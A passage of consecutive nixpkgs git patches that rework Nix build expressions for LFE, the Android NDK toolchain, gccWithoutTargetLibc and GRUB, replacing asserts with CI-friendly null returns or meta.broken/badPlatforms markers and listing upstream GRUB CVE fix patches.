--- a/pkgs/development/interpreters/lfe/generic-builder.nix
+++ b/pkgs/development/interpreters/lfe/generic-builder.nix
@@ -1,4 +1,5 @@
 {
+  config,
   lib,
   fetchFromGitHub,
   erlang,
@@ -37,6 +38,8 @@ let
 
   mainVersion = versions.major (getVersion erlang);
 
+  maxAssert = versionAtLeast maximumOTPVersion mainVersion;
+
   proper = buildHex {
     name = "proper";
     version = "1.4.0";
@@ -45,82 +48,85 @@ let
   };
 
 in
-assert (assertMsg (versionAtLeast maximumOTPVersion mainVersion)) ''
-  LFE ${version} is supported on OTP <=${maximumOTPVersion}, not ${mainVersion}.
-'';
-
-buildRebar3 {
-  name = baseName;
-
-  inherit src version;
-
-  nativeBuildInputs = [
-    makeWrapper
-    erlang
-  ];
-  beamDeps = [ proper ];
-  patches = [
-    ./fix-rebar-config.patch
-    ./dedup-ebins.patch
-  ] ++ patches;
-  doCheck = true;
-  checkTarget = "travis";
-
-  makeFlags = [
-    "-e"
-    "MANDB=''"
-    "PREFIX=$$out"
-  ];
-
-  # These installPhase tricks are based on Elixir's Makefile.
-  # TODO: Make, upload, and apply a patch.
-  installPhase = optionalString (versionOlder version "1.3") ''
-    local libdir=$out/lib/lfe
-    local ebindir=$libdir/ebin
-    local bindir=$libdir/bin
-
-    rm -Rf $ebindir
-    install -m755 -d $ebindir
-    install -m644 _build/default/lib/lfe/ebin/* $ebindir
-
-    install -m755 -d $bindir
-
-    for bin in bin/lfe{,c,doc,script}; do install -m755 $bin $bindir; done
-
-    install -m755 -d $out/bin
-    for file in $bindir/*; do ln -sf $file $out/bin/; done
+if !config.allowAliases && !maxAssert then
+  # Don't throw without aliases to not break CI.
+  null
+else
+  assert assertMsg maxAssert ''
+    LFE ${version} is supported on OTP <=${maximumOTPVersion}, not ${mainVersion}.
   '';
+  buildRebar3 {
+    name = baseName;
 
-  # Thanks again, Elixir.
-  postFixup = ''
-    # LFE binaries are shell scripts which run erl and lfe.
-    # Add some stuff to PATH so the scripts can run without problems.
-    for f in $out/bin/*; do
-      wrapProgram $f \
-        --prefix PATH ":" "${
-          makeBinPath [
-            erlang
-            coreutils
-            bash
-          ]
-        }:$out/bin"
-      substituteInPlace $f --replace "/usr/bin/env" "${coreutils}/bin/env"
-    done
-  '';
+    inherit src version;
 
-  meta = with lib; {
-    description = "Best of Erlang and of Lisp; at the same time!";
-    longDescription = ''
-      LFE, Lisp Flavoured Erlang, is a lisp syntax front-end to the Erlang
-      compiler. Code produced with it is compatible with "normal" Erlang
-      code. An LFE evaluator and shell is also included.
+    nativeBuildInputs = [
+      makeWrapper
+      erlang
+    ];
+    beamDeps = [ proper ];
+    patches = [
+      ./fix-rebar-config.patch
+      ./dedup-ebins.patch
+    ] ++ patches;
+    doCheck = true;
+    checkTarget = "travis";
+
+    makeFlags = [
+      "-e"
+      "MANDB=''"
+      "PREFIX=$$out"
+    ];
+
+    # These installPhase tricks are based on Elixir's Makefile.
+    # TODO: Make, upload, and apply a patch.
+    installPhase = optionalString (versionOlder version "1.3") ''
+      local libdir=$out/lib/lfe
+      local ebindir=$libdir/ebin
+      local bindir=$libdir/bin
+
+      rm -Rf $ebindir
+      install -m755 -d $ebindir
+      install -m644 _build/default/lib/lfe/ebin/* $ebindir
+
+      install -m755 -d $bindir
+
+      for bin in bin/lfe{,c,doc,script}; do install -m755 $bin $bindir; done
+
+      install -m755 -d $out/bin
+      for file in $bindir/*; do ln -sf $file $out/bin/; done
     '';
 
-    homepage = "https://lfe.io";
-    downloadPage = "https://github.com/rvirding/lfe/releases";
+    # Thanks again, Elixir.
+    postFixup = ''
+      # LFE binaries are shell scripts which run erl and lfe.
+      # Add some stuff to PATH so the scripts can run without problems.
+      for f in $out/bin/*; do
+        wrapProgram $f \
+          --prefix PATH ":" "${
+            makeBinPath [
+              erlang
+              coreutils
+              bash
+            ]
+          }:$out/bin"
+        substituteInPlace $f --replace "/usr/bin/env" "${coreutils}/bin/env"
+      done
+    '';
 
-    license = licenses.asl20;
-    teams = [ teams.beam ];
-    platforms = platforms.unix;
-  };
-}
+    meta = with lib; {
+      description = "Best of Erlang and of Lisp; at the same time!";
+      longDescription = ''
+        LFE, Lisp Flavoured Erlang, is a lisp syntax front-end to the Erlang
+        compiler. Code produced with it is compatible with "normal" Erlang
+        code. An LFE evaluator and shell is also included.
+      '';
+
+      homepage = "https://lfe.io";
+      downloadPage = "https://github.com/rvirding/lfe/releases";
+
+      license = licenses.asl20;
+      teams = [ teams.beam ];
+      platforms = platforms.unix;
+    };
+  }

From bda6c1abe1ba1a4459554718ea0c12459928b151 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 19 Jul 2025 11:19:24 +0200
Subject: [PATCH 2722/4511] androidndkPkgs: avoid throwing for incompatibility
 in CI

Same reasoning as in the commit before.

(cherry picked from commit f115f69d4778ada8576b9a165d4a3c058daf0dc8)
---
 .../androidndk-pkgs/androidndk-pkgs.nix       | 243 +++++++++---------
 pkgs/development/androidndk-pkgs/default.nix  |   2 +-
 2 files changed, 127 insertions(+), 118 deletions(-)

diff --git a/pkgs/development/androidndk-pkgs/androidndk-pkgs.nix b/pkgs/development/androidndk-pkgs/androidndk-pkgs.nix
index 513ca78f0a97..d66ce006fdb9 100644
--- a/pkgs/development/androidndk-pkgs/androidndk-pkgs.nix
+++ b/pkgs/development/androidndk-pkgs/androidndk-pkgs.nix
@@ -1,4 +1,5 @@
 {
+  config,
   lib,
   stdenv,
   makeWrapper,
@@ -21,7 +22,7 @@ let
   # some builds need that clarity.
   #
   ndkBuildInfoFun =
-    { config, ... }:
+    fallback:
     {
       x86_64-apple-darwin = {
         double = "darwin-x86_64";
@@ -30,10 +31,10 @@ let
         double = "linux-x86_64";
       };
     }
-    .${config} or (throw "Android NDK doesn't support building on ${config}, as far as we know");
+    .${stdenv.buildPlatform.config} or fallback;
 
   ndkTargetInfoFun =
-    { config, ... }:
+    fallback:
     {
       i686-unknown-linux-android = {
         triple = "i686-linux-android";
@@ -52,10 +53,14 @@ let
         triple = "aarch64-linux-android";
       };
     }
-    .${config} or (throw "Android NDK doesn't support targetting ${config}, as far as we know");
+    .${stdenv.targetPlatform.config} or fallback;
 
-  buildInfo = ndkBuildInfoFun stdenv.buildPlatform;
-  targetInfo = ndkTargetInfoFun stdenv.targetPlatform;
+  buildInfo = ndkBuildInfoFun (
+    throw "Android NDK doesn't support building on ${stdenv.buildPlatform.config}, as far as we know"
+  );
+  targetInfo = ndkTargetInfoFun (
+    throw "Android NDK doesn't support targetting ${stdenv.targetPlatform.config}, as far as we know"
+  );
 
   androidSdkVersion =
     if
@@ -74,119 +79,123 @@ let
   );
 in
 
-lib.recurseIntoAttrs rec {
-  # Misc tools
-  binaries = stdenv.mkDerivation {
-    pname = "${targetPrefix}ndk-toolchain";
-    inherit (androidndk) version;
-    nativeBuildInputs = [
-      makeWrapper
-      autoPatchelfHook
-    ];
-    propagatedBuildInputs = [ androidndk ];
-    passthru = {
-      inherit targetPrefix;
-      isClang = true; # clang based cc, but bintools ld
-      inherit (llvmPackages.clang.cc) hardeningUnsupportedFlagsByTargetPlatform;
-    };
-    dontUnpack = true;
-    dontBuild = true;
-    dontStrip = true;
-    dontConfigure = true;
-    dontPatch = true;
-    autoPatchelfIgnoreMissingDeps = true;
-    installPhase = ''
-      # https://developer.android.com/ndk/guides/other_build_systems
-      mkdir -p $out
-      cp -r ${androidndk}/libexec/android-sdk/ndk-bundle/toolchains/llvm/prebuilt/${buildInfo.double} $out/toolchain
-      find $out/toolchain -type d -exec chmod 777 {} \;
+if !config.allowAliases && (ndkBuildInfoFun null == null || ndkTargetInfoFun null == null) then
+  # Don't throw without aliases to not break CI.
+  null
+else
+  lib.recurseIntoAttrs rec {
+    # Misc tools
+    binaries = stdenv.mkDerivation {
+      pname = "${targetPrefix}ndk-toolchain";
+      inherit (androidndk) version;
+      nativeBuildInputs = [
+        makeWrapper
+        autoPatchelfHook
+      ];
+      propagatedBuildInputs = [ androidndk ];
+      passthru = {
+        inherit targetPrefix;
+        isClang = true; # clang based cc, but bintools ld
+        inherit (llvmPackages.clang.cc) hardeningUnsupportedFlagsByTargetPlatform;
+      };
+      dontUnpack = true;
+      dontBuild = true;
+      dontStrip = true;
+      dontConfigure = true;
+      dontPatch = true;
+      autoPatchelfIgnoreMissingDeps = true;
+      installPhase = ''
+        # https://developer.android.com/ndk/guides/other_build_systems
+        mkdir -p $out
+        cp -r ${androidndk}/libexec/android-sdk/ndk-bundle/toolchains/llvm/prebuilt/${buildInfo.double} $out/toolchain
+        find $out/toolchain -type d -exec chmod 777 {} \;
 
-      if [ ! -d $out/toolchain/sysroot/usr/lib/${targetInfo.triple}/${androidSdkVersion} ]; then
-        echo "NDK does not contain libraries for SDK version ${androidSdkVersion}";
+        if [ ! -d $out/toolchain/sysroot/usr/lib/${targetInfo.triple}/${androidSdkVersion} ]; then
+          echo "NDK does not contain libraries for SDK version ${androidSdkVersion}";
+          exit 1
+        fi
+
+        ln -vfs $out/toolchain/sysroot/usr/lib $out/lib
+        ln -s $out/toolchain/sysroot/usr/lib/${targetInfo.triple}/*.so $out/lib/
+        ln -s $out/toolchain/sysroot/usr/lib/${targetInfo.triple}/*.a $out/lib/
+        chmod +w $out/lib/*
+        ln -s $out/toolchain/sysroot/usr/lib/${targetInfo.triple}/${androidSdkVersion}/*.so $out/lib/
+        ln -s $out/toolchain/sysroot/usr/lib/${targetInfo.triple}/${androidSdkVersion}/*.o $out/lib/
+
+        echo "INPUT(-lc++_static)" > $out/lib/libc++.a
+
+        ln -s $out/toolchain/bin $out/bin
+        ln -s $out/toolchain/${targetInfo.triple}/bin/* $out/bin/
+        for f in $out/bin/${targetInfo.triple}-*; do
+          ln -s $f ''${f/${targetInfo.triple}-/${targetPrefix}}
+        done
+        for f in $(find $out/toolchain -type d -name ${targetInfo.triple}); do
+          ln -s $f ''${f/${targetInfo.triple}/${targetPrefix}}
+        done
+
+        rm -f $out/bin/${targetPrefix}ld
+        ln -s $out/bin/lld $out/bin/${targetPrefix}ld
+
+        (cd $out/bin;
+          for tool in llvm-*; do
+            ln -sf $tool ${targetPrefix}$(echo $tool | sed 's/llvm-//')
+            ln -sf $tool $(echo $tool | sed 's/llvm-//')
+          done)
+
+        ln -sf $out/bin/yasm $out/bin/${targetPrefix}as
+        ln -sf $out/bin/yasm $out/bin/as
+
+        patchShebangs $out/bin
+      '';
+      meta = {
+        description = "The Android NDK toolchain, tuned for other platforms";
+        license = with lib.licenses; [ unfree ];
+        teams = [ lib.teams.android ];
+      };
+    };
+
+    binutils = wrapBintoolsWith {
+      bintools = binaries;
+      libc = targetAndroidndkPkgs.libraries;
+    };
+
+    clang = wrapCCWith {
+      cc = binaries // {
+        # for packages expecting libcompiler-rt, etc. to come from here (stdenv.cc.cc.lib)
+        lib = targetAndroidndkPkgs.libraries;
+      };
+      bintools = binutils;
+      libc = targetAndroidndkPkgs.libraries;
+      extraBuildCommands = ''
+        echo "-D__ANDROID_API__=${stdenv.targetPlatform.androidSdkVersion}" >> $out/nix-support/cc-cflags
+        # Android needs executables linked with -pie since version 5.0
+        # Use -fPIC for compilation, and link with -pie if no -shared flag used in ldflags
+        echo "-target ${targetInfo.triple} -fPIC" >> $out/nix-support/cc-cflags
+        echo "-z,noexecstack -z,relro -z,now -z,muldefs" >> $out/nix-support/cc-ldflags
+        echo 'expandResponseParams "$@"' >> $out/nix-support/add-flags.sh
+        echo 'if [[ ! (" ''${params[@]} " =~ " -shared ") && ! (" ''${params[@]} " =~ " -no-pie ") ]]; then NIX_LDFLAGS_${suffixSalt}+=" -pie"; fi' >> $out/nix-support/add-flags.sh
+        echo "-Xclang -mnoexecstack" >> $out/nix-support/cc-cxxflags
+        if [ ${targetInfo.triple} == arm-linux-androideabi ]; then
+          # https://android.googlesource.com/platform/external/android-cmake/+/refs/heads/cmake-master-dev/android.toolchain.cmake
+          echo "--fix-cortex-a8" >> $out/nix-support/cc-ldflags
+        fi
+      '';
+    };
+
+    # Bionic lib C and other libraries.
+    #
+    # We use androidndk from the previous stage, else we waste time or get cycles
+    # cross-compiling packages to wrap incorrectly wrap binaries we don't include
+    # anyways.
+    libraries = runCommand "bionic-prebuilt" { } ''
+      lpath=${buildAndroidndk}/libexec/android-sdk/ndk-bundle/toolchains/llvm/prebuilt/${buildInfo.double}/sysroot/usr/lib/${targetInfo.triple}/${androidSdkVersion}
+      if [ ! -d $lpath ]; then
+        echo "NDK does not contain libraries for SDK version ${androidSdkVersion} <$lpath>"
         exit 1
       fi
-
-      ln -vfs $out/toolchain/sysroot/usr/lib $out/lib
-      ln -s $out/toolchain/sysroot/usr/lib/${targetInfo.triple}/*.so $out/lib/
-      ln -s $out/toolchain/sysroot/usr/lib/${targetInfo.triple}/*.a $out/lib/
+      mkdir -p $out/lib
+      cp $lpath/*.so $lpath/*.a $out/lib
       chmod +w $out/lib/*
-      ln -s $out/toolchain/sysroot/usr/lib/${targetInfo.triple}/${androidSdkVersion}/*.so $out/lib/
-      ln -s $out/toolchain/sysroot/usr/lib/${targetInfo.triple}/${androidSdkVersion}/*.o $out/lib/
-
-      echo "INPUT(-lc++_static)" > $out/lib/libc++.a
-
-      ln -s $out/toolchain/bin $out/bin
-      ln -s $out/toolchain/${targetInfo.triple}/bin/* $out/bin/
-      for f in $out/bin/${targetInfo.triple}-*; do
-        ln -s $f ''${f/${targetInfo.triple}-/${targetPrefix}}
-      done
-      for f in $(find $out/toolchain -type d -name ${targetInfo.triple}); do
-        ln -s $f ''${f/${targetInfo.triple}/${targetPrefix}}
-      done
-
-      rm -f $out/bin/${targetPrefix}ld
-      ln -s $out/bin/lld $out/bin/${targetPrefix}ld
-
-      (cd $out/bin;
-        for tool in llvm-*; do
-          ln -sf $tool ${targetPrefix}$(echo $tool | sed 's/llvm-//')
-          ln -sf $tool $(echo $tool | sed 's/llvm-//')
-        done)
-
-      ln -sf $out/bin/yasm $out/bin/${targetPrefix}as
-      ln -sf $out/bin/yasm $out/bin/as
-
-      patchShebangs $out/bin
+      cp $lpath/* $out/lib
     '';
-    meta = {
-      description = "The Android NDK toolchain, tuned for other platforms";
-      license = with lib.licenses; [ unfree ];
-      teams = [ lib.teams.android ];
-    };
-  };
-
-  binutils = wrapBintoolsWith {
-    bintools = binaries;
-    libc = targetAndroidndkPkgs.libraries;
-  };
-
-  clang = wrapCCWith {
-    cc = binaries // {
-      # for packages expecting libcompiler-rt, etc. to come from here (stdenv.cc.cc.lib)
-      lib = targetAndroidndkPkgs.libraries;
-    };
-    bintools = binutils;
-    libc = targetAndroidndkPkgs.libraries;
-    extraBuildCommands = ''
-      echo "-D__ANDROID_API__=${stdenv.targetPlatform.androidSdkVersion}" >> $out/nix-support/cc-cflags
-      # Android needs executables linked with -pie since version 5.0
-      # Use -fPIC for compilation, and link with -pie if no -shared flag used in ldflags
-      echo "-target ${targetInfo.triple} -fPIC" >> $out/nix-support/cc-cflags
-      echo "-z,noexecstack -z,relro -z,now -z,muldefs" >> $out/nix-support/cc-ldflags
-      echo 'expandResponseParams "$@"' >> $out/nix-support/add-flags.sh
-      echo 'if [[ ! (" ''${params[@]} " =~ " -shared ") && ! (" ''${params[@]} " =~ " -no-pie ") ]]; then NIX_LDFLAGS_${suffixSalt}+=" -pie"; fi' >> $out/nix-support/add-flags.sh
-      echo "-Xclang -mnoexecstack" >> $out/nix-support/cc-cxxflags
-      if [ ${targetInfo.triple} == arm-linux-androideabi ]; then
-        # https://android.googlesource.com/platform/external/android-cmake/+/refs/heads/cmake-master-dev/android.toolchain.cmake
-        echo "--fix-cortex-a8" >> $out/nix-support/cc-ldflags
-      fi
-    '';
-  };
-
-  # Bionic lib C and other libraries.
-  #
-  # We use androidndk from the previous stage, else we waste time or get cycles
-  # cross-compiling packages to wrap incorrectly wrap binaries we don't include
-  # anyways.
-  libraries = runCommand "bionic-prebuilt" { } ''
-    lpath=${buildAndroidndk}/libexec/android-sdk/ndk-bundle/toolchains/llvm/prebuilt/${buildInfo.double}/sysroot/usr/lib/${targetInfo.triple}/${androidSdkVersion}
-    if [ ! -d $lpath ]; then
-      echo "NDK does not contain libraries for SDK version ${androidSdkVersion} <$lpath>"
-      exit 1
-    fi
-    mkdir -p $out/lib
-    cp $lpath/*.so $lpath/*.a $out/lib
-    chmod +w $out/lib/*
-    cp $lpath/* $out/lib
-  '';
-}
+  }
diff --git a/pkgs/development/androidndk-pkgs/default.nix b/pkgs/development/androidndk-pkgs/default.nix
index 3fd4b5f66527..0b59c4a0d666 100644
--- a/pkgs/development/androidndk-pkgs/default.nix
+++ b/pkgs/development/androidndk-pkgs/default.nix
@@ -24,7 +24,7 @@ let
       majorVersion = lib.versions.major ndkVersion;
     in
     import ./androidndk-pkgs.nix {
-      inherit lib;
+      inherit config lib;
       inherit (buildPackages)
         makeWrapper
         autoPatchelfHook

From 9c6ee3ed735f798486428b34d615a3cd6d9f4cd8 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 19 Jul 2025 11:33:34 +0200
Subject: [PATCH 2723/4511] gccWithoutTargetLibc: move assert to
 meta.badPlatforms

An assert can't be caught by CI for generation of attrpaths during Eval.
An error reported via meta.badPlatforms can be.

The alternative of returning null in the CI case, similar to the commits
before, is not helpful, because it only causes failed builds or eval
downstream - when this dependency is passed on and used as `null`.

(cherry picked from commit 6de5573eb944e5ed9af5c484d2244ba66907e3f9)
---
 pkgs/top-level/all-packages.nix | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 1fe04076a1b9..e4989833d5e1 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -5214,11 +5214,10 @@ with pkgs;
   # The GCC used to build libc for the target platform. Normal gccs will be
   # built with, and use, that cross-compiled libc.
   gccWithoutTargetLibc =
-    assert stdenv.targetPlatform != stdenv.hostPlatform;
     let
       libcCross1 = binutilsNoLibc.libc;
     in
-    wrapCCWith {
+    (wrapCCWith {
       cc = gccFun {
         # copy-pasted
         inherit noSysDirs;
@@ -5244,7 +5243,14 @@ with pkgs;
       bintools = binutilsNoLibc;
       libc = libcCross1;
       extraPackages = [ ];
-    };
+    }).overrideAttrs
+      (prevAttrs: {
+        meta = prevAttrs.meta // {
+          badPlatforms =
+            (prevAttrs.meta.badPlatforms or [ ])
+            ++ lib.optionals (stdenv.targetPlatform == stdenv.hostPlatform) [ stdenv.hostPlatform.system ];
+        };
+      });
 
   inherit (callPackage ../development/compilers/gcc/all.nix { inherit noSysDirs; })
     gcc9

From e33b7b1789660ac8c48259dcc57b850bbf1074ed Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Thu, 22 May 2025 16:07:45 -0700
Subject: [PATCH 2724/4511] tests.nixpkgs-check-by-name: remove throw; no need
 for this

(cherry picked from commit 50f6934d89ef2a1d64b90573a5502a5cc4b33edb)
---
 pkgs/test/default.nix | 2 --
 1 file changed, 2 deletions(-)

diff --git a/pkgs/test/default.nix b/pkgs/test/default.nix
index f055170a2aea..7060e9316542 100644
--- a/pkgs/test/default.nix
+++ b/pkgs/test/default.nix
@@ -197,8 +197,6 @@ with pkgs;
 
   buildFHSEnv = recurseIntoAttrs (callPackages ./buildFHSEnv { });
 
-  nixpkgs-check-by-name = throw "tests.nixpkgs-check-by-name is now specified in a separate repository: https://github.com/NixOS/nixpkgs-check-by-name";
-
   auto-patchelf-hook = callPackage ./auto-patchelf-hook { };
 
   # Accumulate all passthru.tests from arrayUtilities into a single attribute set.

From 783592bdd140fcf0151a5069909ba66ee752599c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 17:36:45 +0200
Subject: [PATCH 2725/4511] grub2_efi: turn asserts into meta.broken

`meta.broken` can be caught properly by CI, but asserts can not. This
has the same intended effect of signaling invalid combinations of
arguments.

(cherry picked from commit fdadc0af6effbe40fe16dd20c143304af4ae301a)
---
 pkgs/tools/misc/grub/default.nix | 1149 +++++++++++++++---------------
 1 file changed, 572 insertions(+), 577 deletions(-)

diff --git a/pkgs/tools/misc/grub/default.nix b/pkgs/tools/misc/grub/default.nix
index 9124dde8caeb..43d06dcc5a5c 100644
--- a/pkgs/tools/misc/grub/default.nix
+++ b/pkgs/tools/misc/grub/default.nix
@@ -88,588 +88,583 @@ let
     hash = "sha256-IoRiJHNQ58y0UhCAD0CrpFiI8Mz1upzAtyh5K4Njh/w=";
   };
 in
-(
+stdenv.mkDerivation rec {
+  pname = "grub";
+  version = "2.12";
+  inherit src;
 
-  assert efiSupport -> canEfi;
-  assert zfsSupport -> zfs != null;
-  assert !(efiSupport && xenSupport);
+  patches = [
+    ./fix-bash-completion.patch
+    ./add-hidden-menu-entries.patch
 
-  stdenv.mkDerivation rec {
-    pname = "grub";
-    version = "2.12";
-    inherit src;
+    # https://lists.gnu.org/archive/html/grub-devel/2025-02/msg00024.html
+    (fetchpatch {
+      name = "01_implement_grub_strlcpy.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=ea703528a8581a2ea7e0bad424a70fdf0aec7d8f";
+      hash = "sha256-MSMgu1vMG83HRImUUsTyA1YQaIhgEreGGPd+ZDWSI2I=";
+    })
+    (fetchpatch {
+      name = "02_CVE-2024-45781.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=c1a291b01f4f1dcd6a22b61f1c81a45a966d16ba";
+      hash = "sha256-q8ErK+cQzaqwSuhLRFL3AfYBkpgJq1IQmadnlmlz2yw=";
+    })
+    (fetchpatch {
+      name = "03_CVE-2024-45782_CVE-2024-56737.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=417547c10410b714e43f08f74137c24015f8f4c3";
+      hash = "sha256-mRinw27WZ2d1grzyzFGO18yXx72UVBM6Lf5cR8XJfs8=";
+    })
+    (fetchpatch {
+      name = "04_fs_tar_initialize_name_in_grub_cpio_find_file.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=2c8ac08c99466c0697f704242363fc687f492a0d";
+      hash = "sha256-EMGF0B+Fw6tSmllWUJAp1ynzWk+w2C/XM1LmXSReHWg=";
+    })
+    (fetchpatch {
+      name = "05_CVE-2024-45780.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=0087bc6902182fe5cedce2d034c75a79cf6dd4f3";
+      hash = "sha256-IlW5i4EJVoUYPu9/lb0LeytTpzltQuu5fpkFPQNIhls=";
+    })
+    (fetchpatch {
+      name = "06_fs_f2fs_grub_errno_mount_fails.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=563436258cde64da6b974880abff1bf0959f4da3";
+      hash = "sha256-Iu0RPyB+pAnqMT+MTX+TrJbYJsvYPn7jbMgE1jcLh/Q=";
+    })
+    (fetchpatch {
+      name = "07_CVE-2024-45783.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=f7c070a2e28dfab7137db0739fb8db1dc02d8898";
+      hash = "sha256-V1wh2dPeTazmad61jFtOjhq2MdoD+txPWY/AfwwyTZM=";
+    })
+    (fetchpatch {
+      name = "08_fs_iso9660_grub_errno_mount_fails.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=965db5970811d18069b34f28f5f31ddadde90a97";
+      hash = "sha256-6eN1AvZwXkJOQVcjgymy/E7QiAxzL/d0W3KlAZRqUzI=";
+    })
+    (fetchpatch {
+      name = "09_fs_iso9660_fix_invalid_free.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=1443833a9535a5873f7de3798cf4d8389f366611";
+      hash = "sha256-Gt5yMy5Vg9zrDggj3o/TLNt2vT9/6IuHg4Se2p8e8pI=";
+    })
+    (fetchpatch {
+      name = "10_fs_jfs_fix_oob_read_jfs_getent.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=66175696f3a385b14bdf1ebcda7755834bd2d5fb";
+      hash = "sha256-ETbzbc5gvf55sTLjmJOXXC9VH3qcP1Gv5seR/U9NRiY=";
+    })
+    (fetchpatch {
+      name = "11_fs_jfs_fix_oob_read_caused_by_invalid_dir_slot_index.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=ab09fd0531f3523ac0ef833404526c98c08248f7";
+      hash = "sha256-wE6niiIx4BdN800/Eegb6IbBRoMFpXq9kPvatwhWNXY=";
+    })
+    (fetchpatch {
+      name = "12_fs_jfs_use_full_40_bits_offset_and_address_for_data_extent.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=bd999310fe67f35a66de3bfa2836da91589d04ef";
+      hash = "sha256-fbC4oTEIoGWJASzJI5RXfoanrMLTfjFOI51LCUU7Ctg=";
+    })
+    (fetchpatch {
+      name = "13_fs_jfs_inconsistent_signed_unsigned_types_usage.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=edd995a26ec98654d907a9436a296c2d82bc4b28";
+      hash = "sha256-aa1G1vi4bPZejfKEqZokAZTzY9Ea2lyxTrP4drDV9tk=";
+    })
+    (fetchpatch {
+      name = "14_fs_ext2_fix_out-of-bounds_read_for_inline_extent.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=7e2f750f0a795c4d64ec7dc7591edac8da2e978c";
+      hash = "sha256-PtPqZHMU2fy7btRRaaswLyHizplxnygCzDfcg5ievOQ=";
+    })
+    (fetchpatch {
+      name = "15_fs_ntfs_fix_out-of-bounds_read.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=aff26318783a135562b904ff09e2359893885732";
+      hash = "sha256-znN6lkAB9aAhTGKR1038DzOz5nzuTp+7ylHVqRM7HeI=";
+    })
+    (fetchpatch {
+      name = "16_fs_ntfs_track_the_end_of_the_MFT_attribute_buffer.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=237a71184a32d1ef7732f5f49ed6a89c5fe1c99a";
+      hash = "sha256-0I/g0qHkWY6PArPn1UaYRhCrrh9bHknADh34v5eSjjM=";
+    })
+    (fetchpatch {
+      name = "17_fs_ntfs_use_a_helper_function_to_access_attributes.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=048777bc29043403d077d41a81d0183767b8bc71";
+      hash = "sha256-Mm49MSLqCq143r8ruLJm1QoyCoLtOlCBfqoAPwPlv8E=";
+    })
+    # Patch 18 (067b6d225d482280abad03944f04e30abcbdafa1) has been removed because it causes regressions
+    # https://lists.gnu.org/archive/html/grub-devel/2025-03/msg00067.html
+    (fetchpatch {
+      name = "19_fs_xfs_fix_out-of-bounds_read.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=6ccc77b59d16578b10eaf8a4fe85c20b229f0d8a";
+      hash = "sha256-FvTzFvfEi3oyxPC/dUHreyzzeVCskaUlYUjpKY/l0DE=";
+    })
+    (fetchpatch {
+      name = "20_fs_xfs_ensuring_failing_to_mount_sets_a_grub_errno.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=d1d6b7ea58aa5a80a4c4d0666b49460056c8ef0a";
+      hash = "sha256-SLdXMmYHq/gRmWrjRrOu5ZYFod84EllUL6hk+gnr3kg=";
+    })
+    (fetchpatch {
+      name = "21_kern_file_ensure_file_data_is_set.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=a7910687294b29288ac649e71b47493c93294f17";
+      hash = "sha256-DabZK9eSToEmSA9dEwtEN+URiVyS9qf6e2Y2UiMuy8Q=";
+    })
+    (fetchpatch {
+      name = "22_kern_file_implement_filesystem_reference_counting.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=16f196874fbe360a1b3c66064ec15adadf94c57b";
+      excludes = [ "grub-core/fs/erofs.c" ]; # Does not exist on 2.12
+      hash = "sha256-yGU//1tPaxi+xFKZrsbUAnvgFpwtrIMG+8cPbSud4+U=";
+    })
+    (fetchpatch {
+      name = "23_prerequisite_1_key_protector_add_key_protectors_framework.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=5d260302da672258444b01239803c8f4d753e3f3";
+      hash = "sha256-9WnFN6xMiv+1XMhNHgVEegkhwzp9KpRZI6MIZY/Ih3Q=";
+    })
+    (fetchpatch {
+      name = "23_prerequisite_2_disk_cryptodisk_allow_user_to_retry_failed_passphrase.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=386b59ddb42fa3f86ddfe557113b25c8fa16f88c";
+      hash = "sha256-e1kGQB7wGWvEb2bY3xIpZxE1uzTt9JOKi05jXyUm+bI=";
+    })
+    (fetchpatch {
+      name = "23_prerequisite_3_cryptodisk_support_key_protectors.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=ad0c52784a375cecaa8715d7deadcf5d65baf173";
+      hash = "sha256-+YIvUYA3fLiOFFsXDrQjqjWFluzLa7N1tv0lwq8BqCs=";
+    })
+    (fetchpatch {
+      name = "23_prerequisite_4_cryptodisk_fallback_to_passphrase.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=6abf8af3c54abc04c4ec71c75d10fcfbc190e181";
+      hash = "sha256-eMu9rW4iJucDAsTQMJD1XE6dDIcUmn02cGqIaqBbO3o=";
+    })
+    (fetchpatch {
+      name = "23_prerequisite_5_cryptodisk_wipe_out_the_cached_keys_from_protectors.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=b35480b48e6f9506d8b7ad8a3b5206d29c24ea95";
